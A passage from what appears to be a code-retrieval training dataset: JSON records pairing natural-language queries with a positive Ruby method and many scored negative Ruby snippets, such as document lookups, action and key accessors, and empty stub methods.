"score": "0.6438793",
"text": "def get_document_by_key(key, collection)\n begin\n query_hash = {'_id' => key}\n db = open_database()\n coll = db.collection(collection)\n doc = coll.find_one(query_hash)\n rescue Exception => e\n puts 'ERROR: ' + e.message\n puts e.backtrace\n nil\n end\n end",
"title": ""
},
{
"docid": "946c0ec21dbd7738775ff54f8dc12903",
"score": "0.64278036",
"text": "def files_doc(id = @files_id)\n if id.is_a?(BSON::ObjectId)\n @files.find({ :_id => id }).first\n else\n @files.find({ :filename => id }).first\n end\n end",
"title": ""
},
{
"docid": "694e82001c343fe29e7668998a54e2c7",
"score": "0.6425375",
"text": "def fetch_one(id, solr_params = nil)\n solr_params ||= {}\n response = repository.find(id, solr_params)\n [response, response.documents.first]\n end",
"title": ""
},
{
"docid": "d1b3e4187bc4cf5012374ab7e69be3ae",
"score": "0.64200485",
"text": "def document; parent.get_document_by_unid(universal_id); end",
"title": ""
},
{
"docid": "d1b3e4187bc4cf5012374ab7e69be3ae",
"score": "0.64200485",
"text": "def document; parent.get_document_by_unid(universal_id); end",
"title": ""
},
{
"docid": "ee36c63265dd3181a146e769840a5386",
"score": "0.6413775",
"text": "def id value\n self.find { |i| i['id'] == value }['doc']\n end",
"title": ""
}
] |
80e9e701f8053df4ad3bda48195b78fb | Actions under process Author: Pankaj Date: 15/05/2018 Reviewed By: Returns[Array] keys of action under process | [
{
"docid": "76a6d65d8b98df9d3097763ac06e02be",
"score": "0.0",
"text": "def case_close_action_under_process(user_kyc_detail)\n return [] if user_kyc_detail.blank? || !user_kyc_detail.case_closed?\n data = []\n data << \"case_reopen_inprocess\" if @open_edit_cases.include?(user_kyc_detail.id)\n data << \"whitelist_confirmation_pending\" if @client.is_whitelist_setup_done? && user_kyc_detail.kyc_approved? && !user_kyc_detail.whitelist_confirmation_done?\n return data\n end",
"title": ""
}
] | [
{
"docid": "44e6ae96434d5180aff46f78d76da570",
"score": "0.6710309",
"text": "def current_action_names\n return @actions.find_all{|a| a.start_state == @current_state}.map{|a| a.name}\n end",
"title": ""
},
{
"docid": "f76538b7a4825335f02ea523b8727f82",
"score": "0.66210634",
"text": "def actionKeysNames _args\n \"actionKeysNames _args;\" \n end",
"title": ""
},
{
"docid": "0dd6d7a9bd0600af215325d8a95827e7",
"score": "0.6424035",
"text": "def actionKeys _args\n \"actionKeys _args;\" \n end",
"title": ""
},
{
"docid": "5e925917bddc963744038e0fdf5ef22d",
"score": "0.6384678",
"text": "def actionKeysNamesArray _args\n \"actionKeysNamesArray _args;\" \n end",
"title": ""
},
{
"docid": "6bb16636dfd39b937ab7e42016c93b8b",
"score": "0.6293184",
"text": "def key_defs(actions)\n return actions.map{|(in_key, action)| {'key_code' => in_key}}\nend",
"title": ""
},
{
"docid": "b61b79e6ac4087821f54e3d6cfd9a966",
"score": "0.6173538",
"text": "def actions() ; info[:actions] ; end",
"title": ""
},
{
"docid": "b61b79e6ac4087821f54e3d6cfd9a966",
"score": "0.6173538",
"text": "def actions() ; info[:actions] ; end",
"title": ""
},
{
"docid": "9882a57012cecc718febef3c4720fd7d",
"score": "0.61005455",
"text": "def actions\r\n return @actions\r\n end",
"title": ""
},
{
"docid": "3cde6bb33bf19693d3ce341a52b99124",
"score": "0.6078755",
"text": "def keys\n @params.keys\n end",
"title": ""
},
{
"docid": "942232caf2a0bcef70ebf55a1f7f99e5",
"score": "0.6014707",
"text": "def actions\n return [] unless sipity_entity && current_ability && (current_ability.current_user.admin? || state != 'pending_deletion')\n\n actions = Hyrax::Workflow::PermissionQuery.scope_permitted_workflow_actions_available_for_current_state(entity: sipity_entity, user: current_ability.current_user)\n actions.map { |action| [action.name, action_label(action)] }\n end",
"title": ""
},
{
"docid": "80b2b7b9952858173ccd8aaefd257a4b",
"score": "0.59783465",
"text": "def actions\n return [] unless sipity_entity && current_ability\n actions = Hyrax::Workflow::PermissionQuery.scope_permitted_workflow_actions_available_for_current_state(entity: sipity_entity, user: current_ability.current_user)\n actions.map { |action| [action.name, action_label(action)] }\n end",
"title": ""
},
{
"docid": "f937a2d56dc3e6af150a3732c847026f",
"score": "0.597438",
"text": "def actions\n return @actions\n end",
"title": ""
},
{
"docid": "afec5ae2b9c3eb64c2c876397f23ac19",
"score": "0.5942594",
"text": "def available_actions\n ret = {}\n @jira.available_actions(self[:key]).each{|q| ret[q['id']] = q['name']}\n ret\n end",
"title": ""
},
{
"docid": "0f7524fe20ab3fdd760b609cf0a3ee0d",
"score": "0.5909189",
"text": "def actions\n @actions\n end",
"title": ""
},
{
"docid": "082acd7434fc29a1209b006f1fa09ccb",
"score": "0.58447194",
"text": "def get_action_type_identifiers\n @model.actions.to_a.collect { |action| action.type_identifier }\n end",
"title": ""
},
{
"docid": "304ab732b8bc93f521b1507b6594cbed",
"score": "0.58162427",
"text": "def get_actions\n\n actions = []\n\n unless self.actions.nil? or self.actions.empty?\n actions = self.actions.split(\"\\n\").collect {|entry| entry.split('-') }\n end\n return actions\n end",
"title": ""
},
{
"docid": "ad2b745f0e5da978a8961eeb08336fde",
"score": "0.5797264",
"text": "def keys\n DoesKeyValue::State.instance.keys[self.to_s]\n end",
"title": ""
},
{
"docid": "d7303fd46d3878efac8ced3122a67ad9",
"score": "0.5795073",
"text": "def keys\n @inputs.keys\n end",
"title": ""
},
{
"docid": "1adc008b53a861d927cabc621ecdf222",
"score": "0.578697",
"text": "def actions\n actions = []\n @model.with_each_action_for(self) do |action|\n actions << action\n end\n actions\n end",
"title": ""
},
{
"docid": "bc76229f9d2e5e936db153e09fa522c8",
"score": "0.5768953",
"text": "def publishing_actions\n\n actions = []\n\n if wf = publishing_workflow\n actions= wf.available_steps(self).map { |step| step.action }\n end\n\n return actions.uniq\n\n end",
"title": ""
},
{
"docid": "3b6c8a3a3f32825159da3c319759610b",
"score": "0.5758117",
"text": "def key_set()\n return @outputs.keys()\n end",
"title": ""
},
{
"docid": "468cb430ea90ce36670a65340681f2cd",
"score": "0.5727423",
"text": "def action_arguments\n\t\t\t\treturn @action_arguments if @action_arguments\n\t\t\t\t## Get all parameters (arguments) from method\n\t\t\t\t## Than collect and sort parameters into hash\n\t\t\t\t@ctrl.instance_method(@action).parameters\n\t\t\t\t\t.each_with_object(req: [], opt: []) do |param, hash|\n\t\t\t\t\t\t## Only required parameters must be in `:req`\n\t\t\t\t\t\thash[param[0]] << param[1]\n\t\t\t\t\tend\n\t\t\tend",
"title": ""
},
{
"docid": "5c3432510d37e9256f11ce72b4ebd2b6",
"score": "0.5720444",
"text": "def collect_predifined_actions(curr_smazzata, name)\r\n @action_queue = []\r\n curr_smazzata[:actions].each do |action|\r\n if action[:arg][0] == name\r\n @action_queue << ({:type => action[:type], :arg => action[:arg]})\r\n else\r\n #p action\r\n # action not for the algorithm player\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "6e9c97821648ae9b3f0cd31fc31d5e9d",
"score": "0.57114905",
"text": "def keys\n Results::KeyOccurrences.merge_keys collect_results.flatten(1)\n end",
"title": ""
},
{
"docid": "5faec6b724dcc310a2406fdb2b8ff67e",
"score": "0.56959015",
"text": "def keys\n end",
"title": ""
},
{
"docid": "5faec6b724dcc310a2406fdb2b8ff67e",
"score": "0.56959015",
"text": "def keys\n end",
"title": ""
},
{
"docid": "5faec6b724dcc310a2406fdb2b8ff67e",
"score": "0.56959015",
"text": "def keys\n end",
"title": ""
},
{
"docid": "2a533f2d8581fe1b8682e1b2435820e4",
"score": "0.56905407",
"text": "def actions\n @actions ||= []\n end",
"title": ""
},
{
"docid": "9038b72ca8bd4d858e10a0d135818215",
"score": "0.5680244",
"text": "def key_map\n steps.key_map\n end",
"title": ""
},
{
"docid": "ff01497b8b8cd8daece5ee28f19d6bf7",
"score": "0.5678131",
"text": "def keys\n @key\n end",
"title": ""
},
{
"docid": "44cffab7fcbd192e0c04fc16c1970edf",
"score": "0.56587327",
"text": "def list\n @processors.keys\n end",
"title": ""
},
{
"docid": "c08f7165812fc7d8fa36bac2ce92b733",
"score": "0.56415343",
"text": "def collect_keys(activities)\n activities.first.keys\nend",
"title": ""
},
{
"docid": "0696dea598ff93713bd080087d67468b",
"score": "0.56371105",
"text": "def keys\n end",
"title": ""
},
{
"docid": "c7d54d053cd8db1b9ef65dbcdb959574",
"score": "0.5633898",
"text": "def atk_acts\n @tb_actions[:atk]\n end",
"title": ""
},
{
"docid": "351a72a82da7925df0cc3a3e0288b342",
"score": "0.5627342",
"text": "def message_keys action_name, status\n parent_resources = resource_definition.parent_resources\n resource_name = resource_definition.resource_name\n keys = []\n\n unless parent_resources.empty?\n parent_names = parent_resources.map(&:resource_name).join('.')\n\n if status\n keys << \"resources.#{parent_names}.#{resource_name}.#{action_name}.\"\\\n \"#{status}\"\n end # if\n keys << \"resources.#{parent_names}.#{resource_name}.#{action_name}\"\n end # unless\n\n keys << \"resources.#{resource_name}.#{action_name}.#{status}\" if status\n keys << \"resources.#{resource_name}.#{action_name}\"\n keys << \"resources.#{resource_name}.action.#{status}\" if status\n keys << \"resources.#{resource_name}.action\"\n keys << \"resources.#{action_name}.#{status}\" if status\n keys << \"resources.#{action_name}\"\n keys << \"resources.action.#{status}\" if status\n keys << 'resources.action'\n end",
"title": ""
},
{
"docid": "5ecf4d9dfa03367a2c372bbdffdf6c46",
"score": "0.55922765",
"text": "def actions\n @actions ||= []\n end",
"title": ""
},
{
"docid": "abf1ca1b950cb14cd309036dfc88e5e1",
"score": "0.5589359",
"text": "def get_actions_for_state(a_state)\r\n \tactions_list=Array.new\t\r\n \tself.adjacency_matrix[a_state].each do |a_transition|\r\n \t\tactions_list.push a_transition.action\t\r\n \tend # end each\r\n \t\r\n \treturn actions_list\t\r\n end",
"title": ""
},
{
"docid": "d3e470a422c720b29ec513aae69e7990",
"score": "0.5577117",
"text": "def actions\n return self.class.actions_pool if self.params[\"screen\"].blank?\n self.class.actions_pool.select {|action| valid_action?(action)}.uniq {|action| action[:name]}\n end",
"title": ""
},
{
"docid": "079a1ad15998977e09c722836e894924",
"score": "0.5565663",
"text": "def actions(state)\n if state == :stop || terminii.member?(state)\n [:stop]\n else\n MOVES.keys\n end\n end",
"title": ""
},
{
"docid": "57902422b4a84315cca2cb847ea9fff5",
"score": "0.5561515",
"text": "def active_actions_for_source(source)\n source_klass = entity_type.constantize\n\n oa = options_actions\n if oa.is_a?(Hash) && oa.any? && oa[source]\n oa[source].map { |k, v| k.to_sym }.keep_if do |k|\n source_klass.result_actions_names(source).include?(k)\n end\n else\n source_klass.result_actions_names(source)\n end\n end",
"title": ""
},
{
"docid": "369d0e9e49c402194fdbc729cbe83f9d",
"score": "0.5555755",
"text": "def keys\n end",
"title": ""
},
{
"docid": "aefd336d91d45b1fc707c5d77bc170c1",
"score": "0.55516434",
"text": "def actions\n @actions ||= {}\n result = @actions.keys\n\n if self.is_a?(Class) and superclass.respond_to?(:actions)\n result += superclass.actions\n elsif self.class.respond_to?(:actions)\n result += self.class.actions\n end\n # We need to uniq the result, because we duplicate actions when they are\n # fetched to ensure that they have the correct bindings; they shadow the\n # parent, and uniq implements that. --daniel 2011-06-01\n (result - @deactivated_actions.to_a).uniq.sort\n end",
"title": ""
},
{
"docid": "ae46c572f3d5a0bb7ef1d67921af9a2b",
"score": "0.55330557",
"text": "def list_keys()\n # TODO\n end",
"title": ""
},
{
"docid": "fb1b5822cd982983fe52bd6e50e0ccd5",
"score": "0.5525326",
"text": "def actions\n map {|transition| transition.action}.uniq\n end",
"title": ""
},
{
"docid": "8a1cb03fea2316aa0b2d5a8a1c1057ae",
"score": "0.5514453",
"text": "def actions\n []\n end",
"title": ""
},
{
"docid": "ccf852714296fe2d06e27d93a5f0a6e3",
"score": "0.5512295",
"text": "def actions\n children_by_type(:action)\n end",
"title": ""
},
{
"docid": "bf9bb8dd282f3e0fd43eba38b884764b",
"score": "0.5511118",
"text": "def watched_actions\n @watched_actions\n end",
"title": ""
},
{
"docid": "4639e2332969102cc023511f045056c1",
"score": "0.5507324",
"text": "def get_actions\n get_document.get_actions_yaml\n end",
"title": ""
},
{
"docid": "5df6b907fcc22d9690c3f70fa836d4b1",
"score": "0.550353",
"text": "def actions\n @actions || []\n end",
"title": ""
},
{
"docid": "2b1d968915b6d34d86fd4721378f550b",
"score": "0.5498365",
"text": "def keys; end",
"title": ""
},
{
"docid": "2b1d968915b6d34d86fd4721378f550b",
"score": "0.5498365",
"text": "def keys; end",
"title": ""
},
{
"docid": "2b1d968915b6d34d86fd4721378f550b",
"score": "0.5498365",
"text": "def keys; end",
"title": ""
},
{
"docid": "2b1d968915b6d34d86fd4721378f550b",
"score": "0.5498365",
"text": "def keys; end",
"title": ""
},
{
"docid": "2b1d968915b6d34d86fd4721378f550b",
"score": "0.5498365",
"text": "def keys; end",
"title": ""
},
{
"docid": "2b1d968915b6d34d86fd4721378f550b",
"score": "0.5498365",
"text": "def keys; end",
"title": ""
},
{
"docid": "2b1d968915b6d34d86fd4721378f550b",
"score": "0.5498365",
"text": "def keys; end",
"title": ""
},
{
"docid": "2b1d968915b6d34d86fd4721378f550b",
"score": "0.5498365",
"text": "def keys; end",
"title": ""
},
{
"docid": "2b1d968915b6d34d86fd4721378f550b",
"score": "0.5498365",
"text": "def keys; end",
"title": ""
},
{
"docid": "3c790088bd4b7927a38583a9a3412335",
"score": "0.5455627",
"text": "def actions\n if @title == 'Action Items'\n @actions\n else\n Agenda.find('Action-Items').actions[@title]\n end\n end",
"title": ""
},
{
"docid": "0780cf41e43dddbdfc2e9526e38d3f6b",
"score": "0.5449705",
"text": "def recommended_actions\n return @recommended_actions\n end",
"title": ""
},
{
"docid": "6ea85e578ed6999f92cbbc3198b7b3b2",
"score": "0.5438694",
"text": "def answer_keys\n [key]\n end",
"title": ""
},
{
"docid": "19bf5b63d1497d60c62ee2bcb7f65f60",
"score": "0.5438117",
"text": "def keys\n candy.keys\n end",
"title": ""
},
{
"docid": "2d3a45e292d80bede6231d9ec502b8a3",
"score": "0.54337555",
"text": "def logged_actions\n versions.actions\n end",
"title": ""
},
{
"docid": "2d3a45e292d80bede6231d9ec502b8a3",
"score": "0.54337555",
"text": "def logged_actions\n versions.actions\n end",
"title": ""
},
{
"docid": "69c082e40a9c7a41a0e1fd3ef99d05f5",
"score": "0.54236364",
"text": "def keys\n messages.keys\n end",
"title": ""
},
{
"docid": "69c082e40a9c7a41a0e1fd3ef99d05f5",
"score": "0.54236364",
"text": "def keys\n messages.keys\n end",
"title": ""
},
{
"docid": "654251ca781089ccff0674b9aef1dffa",
"score": "0.5415628",
"text": "def state_keys\n @state.keys\n end",
"title": ""
},
{
"docid": "b9cef447565ac3a76fd946fba846764c",
"score": "0.5411856",
"text": "def keys\n entries.keys\n end",
"title": ""
},
{
"docid": "f92d60e1207d874e0dbcacb6856f7b25",
"score": "0.54044634",
"text": "def to_s\n ACTIONS.keys.map do |action|\n send(action.to_sym)\n end.join('')\n end",
"title": ""
},
{
"docid": "24ad64ee119eef802d7e4406d8dda826",
"score": "0.54031676",
"text": "def taken_actions\n @taken_actions ||= []\n end",
"title": ""
},
{
"docid": "962748c3ee56739c157a40a0abf6638a",
"score": "0.53993624",
"text": "def action_strs\n @action_strs ||= user_data_as_array('action')\n @action_strs\n end",
"title": ""
},
{
"docid": "2161209f21c20f3b16195428fc65082d",
"score": "0.53979605",
"text": "def actions\n %w[credit]\n end",
"title": ""
},
{
"docid": "d9969277091914e0ea00db2afd8a9822",
"score": "0.53956383",
"text": "def authorised_actions\n if auth_notification\n auth_notification.\n actions.map(&method(:transform_action))\n\n else\n []\n\n end\n end",
"title": ""
},
{
"docid": "7a17222586dfd95209e342d8e4f9096a",
"score": "0.5393514",
"text": "def process_names\n @processes.map { |p| @names[p] }\n end",
"title": ""
},
{
"docid": "20c5f25c1195184d044b1433ecd62e0d",
"score": "0.5378605",
"text": "def keys\n @hash.keys\n end",
"title": ""
},
{
"docid": "20c5f25c1195184d044b1433ecd62e0d",
"score": "0.5378605",
"text": "def keys\n @hash.keys\n end",
"title": ""
},
{
"docid": "20c5f25c1195184d044b1433ecd62e0d",
"score": "0.5378605",
"text": "def keys\n @hash.keys\n end",
"title": ""
},
{
"docid": "0aec7733a14451da30a4e1c800e9d4a0",
"score": "0.537855",
"text": "def get_identifiers\n actions = []\n \n conditions.each do |condition|\n if condition.action.is_a?(SkyDB::Action) && condition.action.id.to_i == 0\n actions << condition.action\n end\n end\n \n return actions\n end",
"title": ""
},
{
"docid": "efc750f0ff9155f67dd46f0302206fac",
"score": "0.53772503",
"text": "def keys\n @monitor.synchronize { @stash.keys }\n end",
"title": ""
},
{
"docid": "ff54641b1b381941eae492c68db1d898",
"score": "0.53754336",
"text": "def get_state\n@state.keys\nend",
"title": ""
},
{
"docid": "d5654391d94b6ebbd9ccc19183d0a80c",
"score": "0.53701",
"text": "def install_actions\n return []\n end",
"title": ""
},
{
"docid": "ce65f69c3dc6f104f4318bb6815bc31d",
"score": "0.5358165",
"text": "def keys\n getAttributeNames.to_a\n end",
"title": ""
},
{
"docid": "ce65f69c3dc6f104f4318bb6815bc31d",
"score": "0.5358165",
"text": "def keys\n getAttributeNames.to_a\n end",
"title": ""
},
{
"docid": "ce65f69c3dc6f104f4318bb6815bc31d",
"score": "0.5358165",
"text": "def keys\n getAttributeNames.to_a\n end",
"title": ""
},
{
"docid": "7ce6c9479267b9bb42bef43dfae77c6c",
"score": "0.535592",
"text": "def base_actions\n @base_actions ||= @watched_actions_map[watchable_name].keys\n end",
"title": ""
},
{
"docid": "844f42a2e1315cc43a802a5d480db51a",
"score": "0.53538954",
"text": "def keys\n @navigable_map.key_set.to_a\n end",
"title": ""
},
{
"docid": "fa2acc1b09ac36e1c15370c0c2dbd01a",
"score": "0.5347747",
"text": "def keys\n @hash.keys\n end",
"title": ""
},
{
"docid": "fa2acc1b09ac36e1c15370c0c2dbd01a",
"score": "0.5347747",
"text": "def keys\n @hash.keys\n end",
"title": ""
},
{
"docid": "05edd22e038a2378bebb654a9237c2b1",
"score": "0.53455186",
"text": "def keys() end",
"title": ""
},
{
"docid": "960acb19350418cf147c10cc9a5d7eb3",
"score": "0.5343665",
"text": "def keys\n items.keys\n end",
"title": ""
},
{
"docid": "8b48917e6e3a36c48df76ead2b851814",
"score": "0.53363657",
"text": "def keys\n return []\n end",
"title": ""
},
{
"docid": "08023b178ac71566565b3190bdd4b040",
"score": "0.5335795",
"text": "def soap_actions\n @soap_actions ||= stream.operations.keys\n end",
"title": ""
},
{
"docid": "de0f817f1f15a3c088f6813d89ec3f82",
"score": "0.5317511",
"text": "def key_ids\n @keys.keys\n end",
"title": ""
},
{
"docid": "394fed72175d2403db1448c2eb26ba6c",
"score": "0.53158474",
"text": "def screenActions\n actionobjects = @actionObjects[@action]\n return if actionobjects == nil\n actionobjects.each do |obj|\n if obj['Value'] == \"uploadfile:@step['Parameter1']\"\n p\n end\n waitTime = obj['Wait'].to_s.to_f\n sleep(waitTime)\n objectAction(obj)\n if @skipCurrentStep == true\n break\n end\n end\n end",
"title": ""
},
{
"docid": "9e7bd879f79a2cafb34b4781a482584e",
"score": "0.530875",
"text": "def actions\n self.class.actions\n end",
"title": ""
},
{
"docid": "7cc9699da7708cffe227182bfb14aecb",
"score": "0.5308509",
"text": "def keys\n (@defs.keys.to_set + @extra_inputs.keys.to_set).to_a\n end",
"title": ""
},
{
"docid": "e90170e33ff0123bf2bf7ce4aeb138d4",
"score": "0.530658",
"text": "def pnames\n @params.keys\n end",
"title": ""
},
{
"docid": "795b525c8ea70c27eb234a6be4ec3d73",
"score": "0.53057194",
"text": "def current_workflow_processes\n wf_processes = []\n RuoteKit.engine.processes.each do |wfp|\n wf_processes << wfp if wfp.target == self\n end\n\n wf_processes\n end",
"title": ""
},
{
"docid": "ecae9aec562dc176011b58a6d75b60b3",
"score": "0.5302647",
"text": "def actions\n return self.class.actions_pool if self.params[\"screen\"].blank?\n self.class.actions_pool.select {|action| valid_action?(action, self.params[\"screen\"]) } \n end",
"title": ""
},
{
"docid": "2b25eb48042f563ce9e5b158305ed78e",
"score": "0.5298109",
"text": "def states\n (['show'] + actions).uniq\n end",
"title": ""
},
{
"docid": "c38c1b43ad43d59f2b884a52c82703fd",
"score": "0.5296292",
"text": "def keys\n map(&:key)\n end",
"title": ""
}
] |
5158a796523fa5a0d80b62889d36b998 | probably not the best way to do it, but attempt was made before reading the LS way of doing it. | [
{
"docid": "23d96a5380536140ba0339b8bbc155ee",
"score": "0.0",
"text": "def set_lang()\n lang = nil\n loop do\n puts \"Sprichst du Deutsch (DE)? Or do you speak English (EN)?\"\n lang = gets.chomp.downcase\n if lang.start_with?('e')\n lang = 'eng'\n break\n end\n if lang.start_with?('d')\n lang = 'de'\n break\n end\n puts \"\\nBad Input.\\n\"\n end\n\n messages = MESSAGES[lang].values\n LOCMESS.each_key { |key| LOCMESS[key] = messages.shift } \nend",
"title": ""
}
] | [
{
"docid": "ef1e4c0cc26e4eec8642a7d74e09c9d1",
"score": "0.6372885",
"text": "def private; end",
"title": ""
},
{
"docid": "0b8b7b9666e4ed32bfd448198778e4e9",
"score": "0.5549338",
"text": "def probers; end",
"title": ""
},
{
"docid": "65ffca17e416f77c52ce148aeafbd826",
"score": "0.5541493",
"text": "def schubert; end",
"title": ""
},
{
"docid": "d8ae3e2b236950074c4632d180274b8a",
"score": "0.5411453",
"text": "def specie; end",
"title": ""
},
{
"docid": "d8ae3e2b236950074c4632d180274b8a",
"score": "0.5411453",
"text": "def specie; end",
"title": ""
},
{
"docid": "d8ae3e2b236950074c4632d180274b8a",
"score": "0.5411453",
"text": "def specie; end",
"title": ""
},
{
"docid": "d8ae3e2b236950074c4632d180274b8a",
"score": "0.5411453",
"text": "def specie; end",
"title": ""
},
{
"docid": "d88aeca0eb7d8aa34789deeabc5063cf",
"score": "0.5407717",
"text": "def offences_by; end",
"title": ""
},
{
"docid": "9d841b89340438a2d53048b8b0959e75",
"score": "0.5268641",
"text": "def sitemaps; end",
"title": ""
},
{
"docid": "5971f871580b6a6e5171c35946a30c95",
"score": "0.51667994",
"text": "def stderrs; end",
"title": ""
},
{
"docid": "4e92bc73e3a3a62167e2eccd3d1b1761",
"score": "0.5157256",
"text": "def sld; end",
"title": ""
},
{
"docid": "7bd36219dcf7d2e0a38e3d56f507ff30",
"score": "0.5110126",
"text": "def lsi; end",
"title": ""
},
{
"docid": "2cc9969eb7789e4fe75844b6f57cb6b4",
"score": "0.51048535",
"text": "def refutal()\n end",
"title": ""
},
{
"docid": "d4248303d83e601fedcb6595d7408f7d",
"score": "0.5087335",
"text": "def expanded; end",
"title": ""
},
{
"docid": "4f0a4656cc8371322fe53a0792e78206",
"score": "0.5084066",
"text": "def offences_by=(_arg0); end",
"title": ""
},
{
"docid": "b3d7c178b277afaefb1b9648335941e7",
"score": "0.5076419",
"text": "def loc; end",
"title": ""
},
{
"docid": "b3d7c178b277afaefb1b9648335941e7",
"score": "0.5076419",
"text": "def loc; end",
"title": ""
},
{
"docid": "b3d7c178b277afaefb1b9648335941e7",
"score": "0.5076419",
"text": "def loc; end",
"title": ""
},
{
"docid": "bc658f9936671408e02baa884ac86390",
"score": "0.50410366",
"text": "def anchored; end",
"title": ""
},
{
"docid": "28012efb188002843ef6e540786c5732",
"score": "0.50117874",
"text": "def rest_positionals; end",
"title": ""
},
{
"docid": "eb813b4c171b5a75ecb2253b743e7c3a",
"score": "0.5011763",
"text": "def parslet; end",
"title": ""
},
{
"docid": "eb813b4c171b5a75ecb2253b743e7c3a",
"score": "0.5011763",
"text": "def parslet; end",
"title": ""
},
{
"docid": "eb813b4c171b5a75ecb2253b743e7c3a",
"score": "0.5011763",
"text": "def parslet; end",
"title": ""
},
{
"docid": "eb813b4c171b5a75ecb2253b743e7c3a",
"score": "0.5011763",
"text": "def parslet; end",
"title": ""
},
{
"docid": "3fff7ea9b6967fb0af70c64a4d13faae",
"score": "0.4994538",
"text": "def parts; end",
"title": ""
},
{
"docid": "3fff7ea9b6967fb0af70c64a4d13faae",
"score": "0.4994538",
"text": "def parts; end",
"title": ""
},
{
"docid": "3fff7ea9b6967fb0af70c64a4d13faae",
"score": "0.4994538",
"text": "def parts; end",
"title": ""
},
{
"docid": "cf2231631bc862eb0c98d89194d62a88",
"score": "0.4993181",
"text": "def identify; end",
"title": ""
},
{
"docid": "13289d4d24c54cff8b70fcaefc85384e",
"score": "0.49890247",
"text": "def verdi; end",
"title": ""
},
{
"docid": "991b6f12a63ef51664b84eb729f67eed",
"score": "0.4972335",
"text": "def formation; end",
"title": ""
},
{
"docid": "6cd66cd69ec6689771c8352ed1909310",
"score": "0.4960605",
"text": "def user_os_complex\r\n end",
"title": ""
},
{
"docid": "3b4df29992323899033bb22a35a64989",
"score": "0.49553573",
"text": "def malts; end",
"title": ""
},
{
"docid": "cfbcefb24f0d0d9b60d1e4c0cf6273ba",
"score": "0.49158946",
"text": "def trd; end",
"title": ""
},
{
"docid": "4a8a45e636a05760a8e8c55f7aa1c766",
"score": "0.4902479",
"text": "def terpene; end",
"title": ""
},
{
"docid": "4e7f63d2e8327143b97af38c6fce7a24",
"score": "0.49020952",
"text": "def original; end",
"title": ""
},
{
"docid": "f1736df8e6642c2eeb78e4b30e5cf678",
"score": "0.48949137",
"text": "def from; end",
"title": ""
},
{
"docid": "f1736df8e6642c2eeb78e4b30e5cf678",
"score": "0.48949137",
"text": "def from; end",
"title": ""
},
{
"docid": "f1736df8e6642c2eeb78e4b30e5cf678",
"score": "0.48949137",
"text": "def from; end",
"title": ""
},
{
"docid": "f1736df8e6642c2eeb78e4b30e5cf678",
"score": "0.48949137",
"text": "def from; end",
"title": ""
},
{
"docid": "069416d8789d261b8e742946431f106d",
"score": "0.48664528",
"text": "def all_by_magic(io); end",
"title": ""
},
{
"docid": "752e2844a9f276ee5cfa6836def131a9",
"score": "0.48417377",
"text": "def tld; end",
"title": ""
},
{
"docid": "752e2844a9f276ee5cfa6836def131a9",
"score": "0.48417377",
"text": "def tld; end",
"title": ""
},
{
"docid": "1f60ec3e87d82a4252630cec8fdc8950",
"score": "0.48404512",
"text": "def berlioz; end",
"title": ""
},
{
"docid": "3fc62999f66ac51441f9ba80922d1854",
"score": "0.48346242",
"text": "def escaper; end",
"title": ""
},
{
"docid": "a7e46056aae02404670c78192ffb8f3f",
"score": "0.48242652",
"text": "def original_result; end",
"title": ""
},
{
"docid": "255b128abb2eb262fd52b20ff68129b9",
"score": "0.48235273",
"text": "def escaper=(_); end",
"title": ""
},
{
"docid": "a02f7382c73eef08b14f38d122f7bdb9",
"score": "0.48222739",
"text": "def custom; end",
"title": ""
},
{
"docid": "a02f7382c73eef08b14f38d122f7bdb9",
"score": "0.48222739",
"text": "def custom; end",
"title": ""
},
{
"docid": "2dbabd0eeb642c38aad852e40fc6aca7",
"score": "0.48207724",
"text": "def operations; end",
"title": ""
},
{
"docid": "2dbabd0eeb642c38aad852e40fc6aca7",
"score": "0.48207724",
"text": "def operations; end",
"title": ""
},
{
"docid": "06b6203baf3c9311f502228839c5ab4e",
"score": "0.48123387",
"text": "def intensifier; end",
"title": ""
},
{
"docid": "6a6ed5368f43a25fb9264e65117fa7d1",
"score": "0.48059362",
"text": "def internal; end",
"title": ""
},
{
"docid": "ad244bd0c45d5d9274f7612fa6fee986",
"score": "0.4805466",
"text": "def suivre; end",
"title": ""
},
{
"docid": "acb84cf7ec5cb9f480913c612a384abb",
"score": "0.47962007",
"text": "def probers=(_arg0); end",
"title": ""
},
{
"docid": "b14829d2f65d2660b51171944c233567",
"score": "0.47794354",
"text": "def required_positionals; end",
"title": ""
},
{
"docid": "21c1024f9479c72a02693a26c09d88f1",
"score": "0.4778216",
"text": "def extended(*) end",
"title": ""
},
{
"docid": "d996063a1bda83fd8644c8cbac831e61",
"score": "0.4755844",
"text": "def rassoc(p0) end",
"title": ""
},
{
"docid": "0f33faf524bc34be174a79409aee798c",
"score": "0.475152",
"text": "def entry_order=(_arg0); end",
"title": ""
},
{
"docid": "6feb8e79264acbc063039b5e7f838063",
"score": "0.47475055",
"text": "def cp_l\n end",
"title": ""
},
{
"docid": "51cbc664905c5759f5e6775045d2aad7",
"score": "0.4732027",
"text": "def next() end",
"title": ""
},
{
"docid": "51cbc664905c5759f5e6775045d2aad7",
"score": "0.4732027",
"text": "def next() end",
"title": ""
},
{
"docid": "4755d31a6608e0430dd90f7323468cc5",
"score": "0.47271582",
"text": "def reflector; end",
"title": ""
},
{
"docid": "4755d31a6608e0430dd90f7323468cc5",
"score": "0.47271582",
"text": "def reflector; end",
"title": ""
},
{
"docid": "3660c5f35373aec34a5a7b0869a4a8bd",
"score": "0.47243732",
"text": "def implementation; end",
"title": ""
},
{
"docid": "3660c5f35373aec34a5a7b0869a4a8bd",
"score": "0.47243732",
"text": "def implementation; end",
"title": ""
},
{
"docid": "a29c5ce532d6df480df4217790bc5fc7",
"score": "0.47214592",
"text": "def extra; end",
"title": ""
},
{
"docid": "0a39799e76643367f1b6bfac65569895",
"score": "0.47150898",
"text": "def used?; end",
"title": ""
},
{
"docid": "f9067cbb242809991ed4608f44f4643b",
"score": "0.47058493",
"text": "def leading; end",
"title": ""
},
{
"docid": "43a751e5df4811e21570395ae27e09ae",
"score": "0.47042868",
"text": "def _lex_trans_keys; end",
"title": ""
},
{
"docid": "43a751e5df4811e21570395ae27e09ae",
"score": "0.47042868",
"text": "def _lex_trans_keys; end",
"title": ""
},
{
"docid": "43a751e5df4811e21570395ae27e09ae",
"score": "0.47042868",
"text": "def _lex_trans_keys; end",
"title": ""
},
{
"docid": "43a751e5df4811e21570395ae27e09ae",
"score": "0.47042868",
"text": "def _lex_trans_keys; end",
"title": ""
},
{
"docid": "3103349d09f884a9193b8c4ac184a666",
"score": "0.4696032",
"text": "def wrapper; end",
"title": ""
},
